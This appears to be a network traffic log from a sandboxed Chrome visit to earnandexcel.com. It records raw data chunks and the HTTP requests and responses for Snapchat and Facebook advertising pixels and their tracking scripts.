2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 1d 66 2d 01 97 07 fa 0f 41 ed 0b d0 d3 0f bd 7b 61 77 14 ae 5e 92 b4 c4 8b 2a 61 d1 64 88 36 41 4f 1f 38 a6 c3 fc 1c 30 13 b0 67 2d 34 4f 80 8a 42 38 aa b1 2e 3f cc 5c 0c 56 04 9a 4f bc 64 12 04 0a 60 59 0e 78 54 d8 da 0f 3b 3b 41 73 40 a6 07 0e b5 40 64 32 d8 1d 42 80 05 63 94 de 68 88 6f be f6 38 37 a5 2f e0 fe 05 59 e4 aa 15 64 d4 6c 65 e5 0b 7d 58 3d 8d 74 c7 b3 88 c5 2d f0 5d 9c e7 a7 28 0a 95 15 13 90 25 89 5d bb 77 33 73 e6 0c c6 97 97 9f 92 a5 3b 92 5b b5 bd bd 1d 87 c3 81 d3 e9 3c a3 42 7c 74 ee 55 96 65 2c 40 d3 92 d6 f3 99 72 3d 9b a6 49 57 57 17 89 44 82 8c 8c 0c 9c 4e 27 fd fd fd b4 b7 b7 23 01 99 59 59 a4 a7 a7 a7 c4 f9 9d ba 81 6d 36 1b 09 2d 41 46 66 06 36 bb ca d6 6d db f0 b8 dd 98 a6 85 c7 e3 a6 b2 b2 72 44 ab fe b4 f7 6d 41 2c 0c 6d 6d Data Ascii: f-A{aw^*ad6AO80g-4OB8.?\VOd`YxT;;As@@d2Bcho87/Ydle}X=t-](%]w3s;[<B\|tUe,@r=IWWDN'#YYm6-AFf6mrDmA,mm
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: b3 fd 49 01 96 d4 e4 f7 8e 81 ee 55 54 88 75 c2 ca 67 c1 eb 84 f4 12 28 f3 c2 ee 3d c9 08 62 dd 80 09 8b 20 dd 09 92 01 1e ff 31 4b db e1 04 97 17 7a 83 10 f3 42 5b 14 16 de 00 4b a6 82 6a 41 fd 6e 58 b7 1f 9a 0e c3 1b 6b a1 53 01 69 23 d4 1c 80 59 53 a1 63 37 b4 f9 a1 d2 01 ee 49 70 e3 d5 49 d1 8a f7 c2 6b 2f 40 6b 07 8c f3 41 fd 61 48 2b 87 92 8c e4 7e db 6b 60 75 0d 64 e5 24 ad cb be 2a 78 e6 49 90 13 10 a8 84 02 19 56 be 09 07 fa 40 57 93 42 3f 71 1a 28 75 c9 39 e0 ec 2c b0 2b b0 6f 0b 3c 7e 28 29 ba e3 e7 24 f7 dd 7d 00 7a 24 58 58 9e 14 fb 68 0f 6c 5e 07 e9 73 21 53 86 0d 2b 61 e7 21 e8 b7 c3 0a 27 cc 1e 97 0c 6a 2b 9a 9f b4 dc 5f df 04 8e 5c d8 f8 3a ec c9 83 a5 f3 a0 af 07 ec 76 70 d8 8f be 7e 8e ab 07 bc 60 dc 54 32 3c 3e 5e d9 b7 09 d3 3a 56 c9 Data Ascii: IUTug(=b 1KzB[KjAnXkSi#YSc7IpIk/@kAaH+~k`ud$*xIV@WB?q(u9,+o<~()$}z$XXhl^s!S+a!'j+_\:vp~`T2<>^:V
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 59 2d 55 56 c8 f6 a6 d1 1e ea c1 30 07 bb a2 bd 0e 17 4e d5 4e 67 b8 6f c8 8e b3 bd e9 84 13 d1 61 db cb f2 a6 d1 19 ea 45 3f c1 05 e8 b1 3b 71 da 1c 74 0d d3 9e 40 70 e6 1f 0e 89 6b 2b e6 f3 df d7 7f 94 4c 77 60 d4 9e e7 99 4e ae 71 d4 c2 33 4d 53 dc 44 ef e0 9a 1c ed 4b 31 ed 36 7a 19 34 3c bd 6d c6 65 94 66 e4 f3 df 2b fe 84 66 1c 73 1d 39 6d 0e fe ed ea f7 b2 f2 c0 66 5e ac 5a 3f a8 81 e2 f4 5c be 72 fd 07 f9 8f e7 7e 41 53 ef e0 28 e9 eb 26 2f 62 6e c9 64 fe f3 b9 5f 0e 12 53 87 6a e3 5f af ba 9f d5 87 76 f0 dc 9e b5 83 7e 53 9a 91 cf 97 ae 7d 1f ff f5 e2 ef a8 eb 6e 19 f4 dd 35 93 17 31 ab b0 82 ff 7a e9 77 a3 7e 7e 4e 70 fe b1 b0 58 59 b3 8d df 6c 7e 9e 7f 59 7a 0f ee 51 1e 94 75 c6 06 2e 03 62 7e b6 5c db 63 b1 2f 05 a3 93 41 d5 90 5a fa 3a a9 6a Data Ascii: Y-UV0NNgoaE?;qt@pk+Lw`Nq3MSDK16z4<mef+fs9mf^Z?\r~AS(&/bnd_Sj_v~S}n51zw~~NpXYl~YzQu.b~\c/AZ:j
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 0e f9 4d 49 7a 2e df b8 e9 a3 14 a6 65 0f f9 ee ba 29 8b f8 d4 f2 7b 86 b4 27 10 9c 4f e2 86 c6 23 bb 57 b2 af a3 ee bc bf 14 2c 2c 22 cd 55 6c 3e d0 81 d3 af b2 79 f3 0e 9a 3a c3 17 c4 aa 81 0b c5 b5 6a 18 09 12 72 3a 8b a6 5f c9 fd 4b 6e e6 dd f3 e7 92 19 a9 e2 f9 dd db 68 8d 24 10 6b 2c 92 77 92 11 eb 65 f3 33 bf e3 17 8f ae 20 30 ed 32 1e fe ec 67 f9 dc e7 fe 95 f7 bd ef dd 54 14 05 d0 13 fa 79 3d c2 0b c1 05 6d 99 1a e1 84 8d 89 cb 6e e7 93 9f fb 3c ff fa af 9f e2 23 f7 2e c1 56 bb 82 1f fe e0 e7 bc be a7 11 ed 24 87 39 48 69 9f d9 b5 1a 97 dd 31 a8 12 12 40 54 4b f0 3f af fd 95 de 48 ff 90 06 9a 7a db f9 ea 0b bf a6 35 d8 35 e4 bb 57 f7 6f 66 fd 91 3d 43 2c e3 84 9e e0 7f 5f ff 1b c1 58 68 c8 6f 1a 7a da f8 fa 4b bf a3 a5 af f3 94 db 13 08 ce 37 75 Data Ascii: MIz.e){'O#W,,"Ul>y:jr:_Knh$k,we3 02gTy=mn<#.V$9Hi1@TK?Hz55Wof=C,_XhozK7u
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 3f 6c 7b 2d c1 2e 7e f2 c6 df 87 6d 6f c3 91 3d 6c ac dd 2b 82 49 04 17 3c a6 65 f1 fc fe 75 5c 3f 71 21 cb cb 67 9f d5 68 51 0b 88 f7 d4 b1 75 6f 1d de 09 37 33 a3 34 97 74 8f 3d 39 ef 64 59 28 93 66 33 a5 e8 05 76 ef da 4f cf 65 d3 70 07 ec 63 7c 18 6b 91 88 b4 b1 69 f7 1b 34 d6 ba c1 e8 a7 be bd 05 cd 3f 99 25 c5 c5 b8 45 da 30 24 24 dc b9 93 b9 fd 81 3b 68 fe f5 3f f8 d5 77 0f f1 46 d9 44 32 02 1a 91 b6 5e fa b2 2a b9 f3 ee bb cf bb 00 5f 08 5a 60 86 bb d9 bb f2 19 7e df b3 1d 3d 1e a4 ad b9 9e be 9e 30 b3 6e 7c 80 db 2f 9b 8a c7 36 f2 fd a4 b0 a0 e8 ab 67 e2 05 70 a6 5f 28 02 c1 c5 4e 4c 4f d0 19 ee e3 f2 f1 73 70 db cf 6e 0d dc 70 67 3d 0d 5d 21 a6 2f b9 86 e9 c5 19 a8 47 03 67 24 09 d5 6e c7 26 43 42 4a 63 e2 94 32 02 4e db 79 11 e0 58 2c 46 34 1a Data Ascii: ?l{-.~mo=l+I<eu\?q!ghQuo734t=9dY(f3vOepc\|ki4?%E0$$;h?wFD2^*_Z`~=0n\|/6gp_(NLOspnpg=]!/Gg$n&CBJc2NyX,F4
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 93 88 9e e5 35 f0 b2 8a 3f bf 9c a9 65 b9 d8 14 39 35 6c 88 86 7b 69 69 68 a0 b5 b3 17 cd 38 1f ca 22 61 77 b9 c9 cc 2b a4 30 2f 13 8f dd 8e 69 9a 84 bb 5a 69 ac ab a7 5b f1 51 54 36 91 42 57 14 33 dc 49 30 9a 38 27 79 e5 25 59 c5 13 c8 a0 a0 a8 90 ec 34 2f aa 2c 93 88 45 e9 6e 3c 42 43 5b 17 11 5d 78 3a 04 23 3c 6a a2 0b 04 82 f3 61 05 c3 96 ae c3 1c 0e 77 e0 cd 2a 62 da ec 79 4c 1d 5f 82 db 26 a1 6b 1a 8a cd 49 61 e9 38 b2 d3 9d c9 f4 89 48 c8 f2 39 5a 3d 2b c9 d8 dd 01 b2 73 72 c9 f0 3a 30 0d 1d 4b b2 93 5f 34 9e 19 33 26 53 98 e1 39 2f ab 78 6d 4e 1f a5 93 67 33 7b da 64 72 03 1e 4c 5d c3 34 2d d2 f3 8a 28 2d 4a c7 a6 48 c9 92 a5 32 9c b3 20 6b 49 c6 9f 5d c2 f4 39 73 99 5c 56 88 4b 05 5d d3 b0 39 dc 14 97 8d 23 2b 20 92 69 08 84 05 2c 10 5c 70 f4 69 Data Ascii: 5?e95l{iih8"aw+0/iZi[QT6BW3I08'y%Y4/,En<BC[]x:#<jaw*byL_&kIa8H9Z=+sr:0K_43&S9/xmNg3{drL]4-(-JH2 kI]9s\VK]9#+ i,\pi
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 80 c9 53 67 52 39 2e 17 9b de 4f ed 81 bd ec af ae 27 6c d8 29 2c 9d c2 8c 69 93 c8 f5 3b 86 17 34 0b 0c 2d 46 b8 bf 9f 60 57 17 4d 0d cd f4 69 16 f6 40 1a 69 2e db 39 7c 79 58 18 89 08 91 84 81 2c 3b 71 bb 6d 6f 1d e5 2c c9 38 7c d9 54 4e 99 4c 49 ae 8f 50 4f 2b f5 f5 cd f4 46 e2 03 22 6a 11 0f 77 53 b3 6f 0f d5 87 1b 89 4b 1e 4a ca a7 31 7d ca 04 32 5c 16 5d 4d 87 a9 da bb 8f d6 ee 28 de cc 12 a6 4e 9b 4e 79 61 26 76 e5 b8 7d 18 3a b1 58 0c cd 94 b1 3b dc 38 1c e2 75 2a 10 02 2c 10 5c 74 f4 26 a2 ac 6c dd 87 ac 24 85 54 96 55 5c 2e 17 0e 9b 72 c2 13 6b c3 e5 4a c3 a9 4a f4 b5 d4 b2 7f ff 21 1a 5a ba 89 19 66 ea 91 56 65 8b be f6 7a f6 ec da c9 9e 43 6d 18 b2 8f cc b4 0c dc 4e 15 2b 1e a4 b6 a6 8a ed 3b f7 d1 dc 6b e2 f5 e7 90 e9 b5 f3 d6 c5 89 64 14 9b Data Ascii: SgR9.O'l),i;4-F`WMi@i.9\|yX,;qmo,8\|TNLIPO+F"jwSoKJ1}2\]M(NNya&v}:X;8u*,\t&l$TU\.rkJJ!ZfVezCmN+;kd
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 80 05 02 c1 f9 c1 90 2c ec 53 f2 f8 d2 dd 5f c0 ef f4 8c 8a 73 5a b5 6a 15 07 0f 1e e4 43 1f fa d0 3b 88 82 1e dd e8 ba ce af 7f fd 6b 31 40 11 02 2c 10 08 ce 27 3b db 0f 53 1f eb e2 8a 92 b2 51 f1 42 4e 4f 4f c7 e7 f3 91 93 93 83 a2 28 e2 02 0f 83 a6 69 78 3c 1e d1 11 63 04 31 0c 15 08 2e 50 7a 22 fd 3c b1 e3 75 12 86 58 de 22 10 08 01 16 08 04 e7 0c 0b 8b 97 aa d6 53 dd de 28 3a 43 20 10 02 2c 10 08 ce 25 f5 3d 6d 3c bd eb 0d 4c cb 14 9d 21 10 08 01 16 08 04 e7 0a c3 34 79 6a d7 6a da fb 47 4e cc 61 1d 2d 3c 10 8f 11 8b c5 89 27 34 0c d3 1a 28 b0 60 61 99 26 7a 22 4e 3c 16 23 1e 8f a3 eb c6 18 8b b2 3d b5 3e 48 a6 db d4 49 24 62 c4 62 31 62 f1 04 ba 61 8a 88 64 c1 59 43 04 61 09 04 17 38 7b 5b 0e b3 b6 66 27 77 ce ba fc 84 60 2c 0b d3 d4 e9 6d a9 e1 cd Data Ascii: ,S_sZjC;k1@,';SQBNOO(ix<c1.Pz"<uX"S(:C ,%=m<L!4yjjGNa-<'4(`a&z"N<#=>HI$bb1badYCa8{[f'w`,m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.17	49946	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	616	OUT	GET /config/com/5e40fa19-dd6c-4373-b1e0-df7865ef9034.js?v=3.14.1-2404091850 HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	524	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:51 GMT access-control-allow-origin: https://earnandexcel.com content-type: application/javascript strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 190 x-envoy-upstream-service-time: 36 server: API Gateway alt-svc: clear access-control-allow-credentials: true Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:51 UTC	190	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 72 79 7b 77 69 6e 64 6f 77 2e 73 6e 61 70 74 72 2e 63 66 67 28 27 35 65 34 30 66 61 31 39 2d 64 64 36 63 2d 34 33 37 33 2d 62 31 65 30 2d 64 66 37 38 36 35 65 66 39 30 33 34 27 2c 7b 22 61 73 63 22 3a 5b 5d 2c 22 61 22 3a 5b 22 50 49 49 22 2c 22 41 56 33 22 5d 2c 22 69 70 67 22 3a 22 31 22 2c 22 62 22 3a 5b 22 45 52 52 22 5d 2c 22 74 22 3a 22 22 2c 22 76 22 3a 22 33 2e 37 2e 35 2d 32 34 30 31 30 33 32 33 34 37 22 2c 22 65 63 22 3a 5b 5d 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 29 3b Data Ascii: !function(){"use strict";try{window.snaptr.cfg('5e40fa19-dd6c-4373-b1e0-df7865ef9034',{"asc":[],"a":["PII","AV3"],"ipg":"1","b":["ERR"],"t":"","v":"3.7.5-2401032347","ec":[]})}catch(e){}}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.17	49947	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1434	OUT	GET /p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=13578&m_fcps=5160&m_pi=13572&m_pl=0&m_pv=2&m_rd=14944&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2F&trackId=3108c4b7-ae37-4861-a285-5aab2c2d3c38&ts=1712870808159&v=3.14.1-2404091850 HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==
2024-04-11 21:26:51 UTC	526	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:51 GMT access-control-allow-origin: * cache-control: no-cache, no-transform content-type: image/png strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 68 x-envoy-upstream-service-time: 1 server: API Gateway alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:51 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.17	49948	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1052	OUT	GET /cm/s?bt=1d53c387&pnid=140&cb=1712870809737&u_scsid=47185214-94c3-45d1-a7ee-ffc33edca1dc&u_sclid=77ae9515-53a1-43ea-9410-53550c36a00d HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://tr.snapchat.com/cm/i?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAAXBiQ0AMAQAwIkkKMU4nnQKw/fuVkmLKJTOARluCLoOcbiS01qf7ZIRu6FjLH7ZwecNMgAAAA==
2024-04-11 21:26:51 UTC	820	IN	HTTP/1.1 302 Found date: Thu, 11 Apr 2024 21:26:51 GMT location: https://pixel.tapad.com/idsync/ex/push?partner_id=2884&partner_url=https%3A%2F%2Ftr.snapchat.com%2Fcm%2Fp%3Frand%3D1712630663074%26pnid%3D140%26pcid%3D%24%7BTA_DEVICE_ID%7D set-cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4fAQTDeCkyosPt/sa2cVm3QpP0N4rGVhpqxhtW1H+xsX1AcBy9AE7q/6AYb17SZAAAAA;SameSite=None;Version=1;Comment=;Domain=.snapchat.com;Path=/;Max-Age=33696000;Secure strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 0 x-envoy-upstream-service-time: 2 server: API Gateway alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.17	49949	31.13.71.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:51 UTC	1311	OUT	GET /signals/config/719379935201922?v=2.9.153&r=stable&domain=earnandexcel.com&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:51 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-04-11 21:26:51 UTC	1453	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 74 65 3d 28 29 2c 20 64 69 73 70 6c Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), displ
2024-04-11 21:26:51 UTC	82	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 68 20 74 68 65 20 77 65 62 20 73 65 72 76 69 63 65 73 20 61 6e 64 20 41 50 49 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 46 61 63 65 62 6f 6f 6b 2e 0a 2a 0a 2a 20 41 73 20 77 69 74 68 20 61 6e 79 20 73 6f 66 74 77 61 72 65 20 74 68 61 74 20 69 Data Ascii: hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection with the web services and APIs provided by Facebook.** As with any software that i
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3a 22 40 40 70 72 6f 74 6f 74 79 70 65 22 29 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 61 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 Data Ascii: n"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbol==="function"?Symbol.prototype:"@@prototype")?"symbol":typeof a},h=function(){function a(a
2024-04-11 21:26:51 UTC	1500	IN	Data Raw: 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 